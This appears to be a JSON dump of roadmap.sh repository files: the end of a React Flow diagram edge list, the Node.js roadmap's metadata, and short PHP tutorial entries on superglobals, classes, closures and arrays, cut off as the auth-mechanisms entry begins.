\"b1r1X3XCoPSayQjDBcy54\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-wEK77A6MPQBCBUSJKMiaYz2-b1r1X3XCoPSayQjDBcy54y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wEK77A6MPQBCBUSJKMiaY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Ce-dP-OXu0mEm30rzp2hW\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-wEK77A6MPQBCBUSJKMiaYy2-Ce-dP-OXu0mEm30rzp2hWz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"swp4wBgA7z-sd64VDkMrw\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"812bVEzxwTsYzLG_PmLqN\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-swp4wBgA7z-sd64VDkMrwz2-812bVEzxwTsYzLG_PmLqNy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"swp4wBgA7z-sd64VDkMrw\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"2Ym2jMvov0lZ79aJFaw29\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-swp4wBgA7z-sd64VDkMrwz2-2Ym2jMvov0lZ79aJFaw29y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Ce-dP-OXu0mEm30rzp2hW\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"XteNExIZN3_g95_dPCopY\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Ce-dP-OXu0mEm30rzp2hWw2-XteNExIZN3_g95_dPCopYx2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"J0ErCAZT5B97ZMogU2JHd\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"O67e2qyhxP5joR5LGyZ2N\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-J0ErCAZT5B97ZMogU2JHdz2-O67e2qyhxP5joR5LGyZ2Ny1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"J0ErCAZT5B97ZMogU2JHd\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"L-_N7OxxuHCXsdWYBgZGu\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-J0ErCAZT5B97ZMogU2JHdz2-L-_N7OxxuHCXsdWYBgZGuy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"J0ErCAZT5B97ZMogU2JHd\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"f2DyjBIglAZ6NoHaRnlzt\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-J0ErCAZT5B97ZMogU2JHdz2-f2DyjBIglAZ6NoHaRnlzty1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5l-lZ8gwVLqqAF_n99vIO\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"90NIFfbWjTbyKZKwyJlfI\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-5l-lZ8gwVLqqAF_n99vIOz2-90NIFfbWjTbyKZKwyJlfIy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"90NIFfbWjTbyKZKwyJlfI\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"qjToBaMenW3SDtEfoCbQ6\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-90NIFfbWjTbyKZKwyJlfIz2-qjToBaMenW3SDtEfoCbQ6y2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"90NIFfbWjTbyKZKwyJlfI\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"oSLpy31XEcA2nRq9ks_LJ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-90NIFfbWjTbyKZKwyJlfIz2-oSLpy31XEcA2nRq9ks_LJy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"90NIFfbWjTbyKZKwyJlfI\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3Fh3-V1kCZtlUTvEoloIO\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-90NIFfbWjTbyKZKwyJlfIz2-3Fh3-V1kCZtlUTvEoloIOy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"90NIFfbWjTbyKZKwyJlfI\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Ix-g9pgJjEI04bSfROvlq\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-90NIFfbWjTbyKZKwyJlfIz2-Ix-g9pgJjEI04bSfROvlqy2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"90NIFfbWjTbyKZKwyJlfI\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"b7ZAEqo0ZU6TNf18Bo0mI\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-90NIFfbWjTbyKZKwyJlfIx2-KzUmXkwrmU_ssVBjSHAiYw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"b7ZAEqo0ZU6TNf18Bo0mI\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Oe9cQCz2lwSaot7miZOta\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KzUmXkwrmU_ssVBjSHAiYz2-Oe9cQCz2lwSaot7miZOtay1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"b7ZAEqo0ZU6TNf18Bo0mI\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"CTHFGgtXFpke4aPhh5vRY\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KzUmXkwrmU_ssVBjSHAiYz2-CTHFGgtXFpke4aPhh5vRYy2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"b7ZAEqo0ZU6TNf18Bo0mI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"af7n-J7VvbdpZh9lwA773\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-b7ZAEqo0ZU6TNf18Bo0mIy2-KzUmXkwrmU_ssVBjSHAiYz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"af7n-J7VvbdpZh9lwA773\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"7WAuMMyelUbgwEHtnMmJv\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KzUmXkwrmU_ssVBjSHAiYw2-7WAuMMyelUbgwEHtnMmJvx1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"af7n-J7VvbdpZh9lwA773\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"KzUmXkwrmU_ssVBjSHAiY\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-af7n-J7VvbdpZh9lwA773x2-KzUmXkwrmU_ssVBjSHAiYw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KzUmXkwrmU_ssVBjSHAiY\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"lzPrWD3pxQmpbqgYPL-zW\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KzUmXkwrmU_ssVBjSHAiYx2-lzPrWD3pxQmpbqgYPL-zWw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KzUmXkwrmU_ssVBjSHAiY\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"WrnjjUDXQwwMXQjmgK72U\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-KzUmXkwrmU_ssVBjSHAiYz2-WrnjjUDXQwwMXQjmgK72Uy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ZLNUuDKhJ03Kw7xMVc7IR\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"oU9I7KBZoTSXXFmYscEIq\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ZLNUuDKhJ03Kw7xMVc7IRz2-oU9I7KBZoTSXXFmYscEIqy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"oU9I7KBZoTSXXFmYscEIq\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"SJ01N7vMZkNiIuMYQhdpj\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-oU9I7KBZoTSXXFmYscEIqw2-SJ01N7vMZkNiIuMYQhdpjx1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ZLNUuDKhJ03Kw7xMVc7IR\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"DcmGcVlEHL4IV7yPMDpVa\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ZLNUuDKhJ03Kw7xMVc7IRz2-DcmGcVlEHL4IV7yPMDpVay1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ZLNUuDKhJ03Kw7xMVc7IR\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"CvkjlOpT34lOHgzQHL40s\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ZLNUuDKhJ03Kw7xMVc7IRz2-CvkjlOpT34lOHgzQHL40sy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WrnjjUDXQwwMXQjmgK72U\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"ZLNUuDKhJ03Kw7xMVc7IR\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-WrnjjUDXQwwMXQjmgK72Ux2-ZLNUuDKhJ03Kw7xMVc7IRw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KMA7NkxFbPoUDtFnGBFnj\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-KMA7NkxFbPoUDtFnGBFnjx2-0vLaVNJaJSHZ_bHli6Qzsw1\",\n      \"selected\": true,\n      \"type\": \"simplebezier\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wBKp8Q5D6WhjVVsD89UHl\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-wBKp8Q5D6WhjVVsD89UHlx2-0vLaVNJaJSHZ_bHli6Qzsw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ZLNUuDKhJ03Kw7xMVc7IR\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"M62lAWBOrTe99TfpFOQ-Y\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-ZLNUuDKhJ03Kw7xMVc7IRx2-M62lAWBOrTe99TfpFOQ-Yw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"M62lAWBOrTe99TfpFOQ-Y\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-M62lAWBOrTe99TfpFOQ-Yy2-0vLaVNJaJSHZ_bHli6Qzsz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/nodejs/nodejs.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/nodejs.json'\npdfUrl: '/pdfs/roadmaps/nodejs.pdf'\nrenderer: 'editor'\norder: 6\nbriefTitle: 'Node.js'\nbriefDescription: 'Step by step guide to becoming a Node.js developer in 2025'\ntitle: 'Node.js Developer'\ndescription: 'Step by step guide to becoming a modern Node.js developer in 2025'\nisNew: false\nhasTopics: true\ndimensions:\n  width: 968\n  height: 2380\ncourses:\n  - title: 'Complete Course to Master SQL'\n    description: 'Learn SQL from scratch with this comprehensive course'\n    link: 'https://roadmap.sh/courses/sql'\n    features:\n      - '55+ Lessons'\n      - 'AI Tutor'\n      - 'Coding Environment'\n      - 'Quizzes'\n      - 'Certification'\n    instructor:\n      name: 'Kamran Ahmed'\n      image: 'https://github.com/kamranahmedse.png'\n      title: 'Founder roadmap.sh'\nschema:\n  headline: 'Node.js Roadmap'\n  description: 'Learn Node.js with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/nodejs.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-01-20'\nseo:\n  title: 'Node.js Developer Roadmap: Learn to become a modern node.js developer'\n  description: 'Learn to become a modern node.js developer using this roadmap. Community driven, articles, resources, guides, interview questions, quizzes for modern node.js development.'\n  keywords:\n    - 'node.js roadmap 2024'\n    - 'node.js roadmap 2025'\n    - 'nodejs roadmap 2024'\n    - 'nodejs roadmap 2025'\n    - 'node.js developer roadmap 2025'\n    - 'nodejs developer roadmap 2025'\n    - 'guide to becoming a developer'\n    - 'guide to becoming a node.js developer'\n    - 'guid to becoming a node.js developer'\n    - 'node.js developer'\n    - 'nodejs developer'\n    - 'node.js engineer'\n    - 'nodejs engineer'\n    - 'node.js skills'\n    - 'nodejs skills'\n    - 'node.js development'\n    - 'nodejs development'\n    - 'node.js development skills'\n    - 'nodejs development skills'\n    - 'node.js development skills test'\n    - 'nodejs development skills test'\n    - 'node.js roadmap'\n    - 'nodejs roadmap'\n    - 'node.js engineer roadmap'\n    - 'nodejs engineer roadmap'\n    - 'node.js developer roadmap'\n    - 'nodejs developer roadmap'\n    - 'become a node.js developer'\n    - 'become a node.js developer'\n    - 'node.js developer career path'\n    - 'nodejs developer career path'\n    - 'node.js developer'\n    - 'nodejs developer'\n    - 'modern node.js developer'\n    - 'node developer'\n    - 'skills for node.js development'\n    - 'skills for nodejs development'\n    - 'learn node.js development'\n    - 'node.js developer quiz'\n    - 'nodejs developer quiz'\n    - 'node.js developer interview questions'\n    - 'nodejs developer interview questions'\nrelatedRoadmaps:\n  - 'javascript'\n  - 'backend'\n  - 'docker'\n  - 'typescript'\n  - 'system-design'\n  - 'frontend'\nrelatedQuestions:\n  - 'javascript'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/php/content/_get@GFYGFVfxkOoPI5mI4zSt1.md",
    "content": "# $_GET\n\n$\\_GET is a pre-defined array in PHP, that's used to collect form-data sent through HTTP GET method. It's useful whenever you need to process or interact with data that has been passed in via a URL's query string. For an example if you have a form with a GET method, you can get the values of the form elements through this global $\\_GET array. Here’s an example:\n\n    <form method=\"get\" action=\"test.php\">\n      Name: <input type=\"text\" name=\"fname\">\n      <input type=\"submit\">\n    </form>\n    \n\nUsing $\\_GET in `test.php`, you can fetch the 'fname' value from the URL:\n\n    echo \"Name is: \" . $_GET['fname'];\n\nVisit the following resources to learn more:\n\n- [@official@$_GET](https://www.php.net/manual/en/reserved.variables.get.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/_post@qNG-a4iIO-puZsMwAMzYC.md",
    "content": "# $_POST\n\n`$_POST` is a superglobal variable in PHP that's used to collect form data submitted via HTTP POST method. Your PHP script can access this data through `$_POST`. Let's say you have a simple HTML form on your webpage. When the user submits this form, the entered data can be fetched using `$_POST`. Here's a brief example:\n\n    <?php\n    if ($_SERVER[\"REQUEST_METHOD\"] == \"POST\") {\n        $name = $_POST[\"name\"];\n    }\n    ?>\n    \n\nIn this code, `$_POST[\"name\"]` fetches the value entered in the 'name' field of the form. Always be cautious when using `$_POST` as it may contain user input which is a common source of vulnerabilities. Always validate and sanitize data from `$_POST` before using it.\n\nVisit the following resources to learn more:\n\n- [@official@$_POST](https://www.php.net/manual/en/reserved.variables.post.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/_request@A6rfW4uJhyfAX2b18_EEC.md",
    "content": "# $_REQUEST\n\n$\\_REQUEST is a PHP superglobal variable that contains the contents of both $\\_GET, $\\_POST, and $\\_COOKIE. It is used to collect data sent via both the GET and POST methods, as well as cookies. $\\_REQUEST is useful if you do not care about the method used to send data, but its usage is generally discouraged as it could lead to security vulnerabilities. Here's a simple example:\n\n    $name = $_REQUEST['name'];\n    \n\nThis statement will store the value of the 'name' field sent through either a GET or POST method. Always remember to sanitize user input to avoid security problems.\n\nVisit the following resources to learn more:\n\n- [@official@$_REQUEST](https://www.php.net/manual/en/reserved.variables.request.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/_server@7Ja2at_N9tRTlvSGahrqn.md",
    "content": "# $_SERVER\n\nThe `$_SERVER` is a superglobal in PHP, holding information about headers, paths, and script locations. $\\_SERVER is an associative array containing server variables created by the web server. This can include specific environmental configurations, the server signature, your PHP script's paths and details, client data, and the active request/response sequence. Among its many uses, `$_SERVER['REMOTE_ADDR']` can help get the visitor's IP while `$_SERVER['HTTP_USER_AGENT']` offers information about their browser. Don't forget to sanitize the content before use to prevent security exploits.\n\nHere's an easy code sample that prints the client's IP:\n\n    echo 'Your IP is: ' . $_SERVER['REMOTE_ADDR'];\n\nVisit the following resources to learn more:\n\n- [@official@$_SERVER](https://www.php.net/reserved.variables.server)"
  },
  {
    "path": "src/data/roadmaps/php/content/abstract-classes@ub79EkMiOmPBwXLRuYFL8.md",
    "content": "# Abstract classes\n\nAbstract classes in PHP are those which cannot be instantiated on their own. They are simply blueprints for other classes, providing a predefined structure. By declaring a class as abstract, you can define methods without having to implement them. Subsequent classes, when inheriting from an abstract class, must implement these undefined methods.\n\nVisit the following resources to learn more:\n\n- [@official@Abstract Classes](https://www.php.net/manual/en/language.oop5.abstract.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/access-specifiers@RD2RaBmA2XWkEa13PTCTX.md",
    "content": "# Access Specifiers\n\nAccess specifiers, also known as access modifiers, in PHP are keywords used in the class context which define the visibility and accessibility of properties, methods and constants. PHP supports three types of access specifiers: public, private, and protected. 'Public' specified properties or methods can be accessed from anywhere, 'private' ones can only be accessed within the class that defines them, while 'protected' ones can be accessed within the class itself and by inherited and parent classes. Here's an illustrative example:\n\nVisit the following resources to learn more:\n\n- [@official@Access Specifiers & Visibility](https://www.php.net/manual/en/language.oop5.visibility.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/anonymous-functions@Nr5m6wQLp7VyG3AucrSc8.md",
    "content": "# Anonymous Functions\n\nAnonymous functions in PHP, also known as closures, are functions that do not have a specified name. They are most frequently used as a value for callback parameters, but can be used in many other ways. When creating an anonymous function, you can also inherit variables from the parent scope. Here's a basic usage example:\n\n    $greet = function($name)\n    {\n        printf(\"Hello %s\\r\\n\", $name);\n    };\n    \n    $greet('World');\n    $greet('PHP');\n    \n\nIn this example, we're creating an anonymous function and assigning it to the variable `$greet`. We then call this anonymous function using $greet with 'World' and 'PHP' as arguments.\n\nVisit the following resources to learn more:\n\n- [@official@Anonymous Functions](https://www.php.net/manual/en/functions.anonymous.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/apache@KMQqePqAjQ-ReDwHqeofx.md",
    "content": "# Apache\n\nApache is a popular web server that can efficiently host PHP applications. Apache integrates well with PHP, using its `mod_php` module, providing a stable and consistent environment for your PHP scripts to run. This compatibility creates a seamless user experience, as PHP pages are served as if they're part of the website and not just files being executed on the server.\n\nVisit the following resources to learn more:\n\n- [@official@Apache PHP Documentation](https://www.php.net/manual/en/install.unix.apache2.php)\n- [@official@Apache](https://httpd.apache.org/)"
  },
  {
    "path": "src/data/roadmaps/php/content/arrays@IhKjvT6CjRz4dsSU7SNQo.md",
    "content": "# Arrays\n\nArrays in PHP are fundamental data structures that store multiple elements in a particular key-value pair collection. PHP offers extensive support for arrays, making them convenient for storing sets of data or complex collections.\n\nVisit the following resources to learn more:\n\n- [@official@Arrays](https://www.php.net/manual/en/language.types.array.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/arrow-functions@mP1BIkqbWVVTU-zZv1ZL6.md",
    "content": "# Arrow Functions\n\nArrow functions provide a more concise syntax to create anonymous functions. The feature enthusiastically borrowed from modern Javascript significantly improves PHP's functional programming credibility. The primary difference between regular PHP closures and PHP Arrow functions is the automatic capturing of variables from the parent scope.\n\nVisit the following resources to learn more:\n\n- [@official@Arrow Functions](https://www.php.net/manual/en/functions.arrow.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/associative-arrays@i_NRsOJNNp7AOqMgu5Jg8.md",
    "content": "# Associative Arrays\n\nAssociative arrays in PHP are a type of array that uses named keys instead of numeric ones. This provides a more human-readable way to store data where each value can be accessed by its corresponding string key. An example of an associative array could be storing names as keys and their corresponding ages as values. Here's a brief example:\n\n    $ages = [\n       \"Peter\" => 35,\n       \"John\" => 42,\n       \"Mary\" => 27\n    ];\n    \n\nIn this case, to find out John's age, you would simply use `echo $ages['John']` where 'John' is the key. Associative arrays are also easy to loop through using the `foreach` construct.\n\nVisit the following resources to learn more:\n\n- [@official@PHP Documentation - Associative Arrays](https://www.php.net/manual/en/language.types.array.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/auth-mechanisms@HJJzKYXdK4BWITLP4APLZ.md",
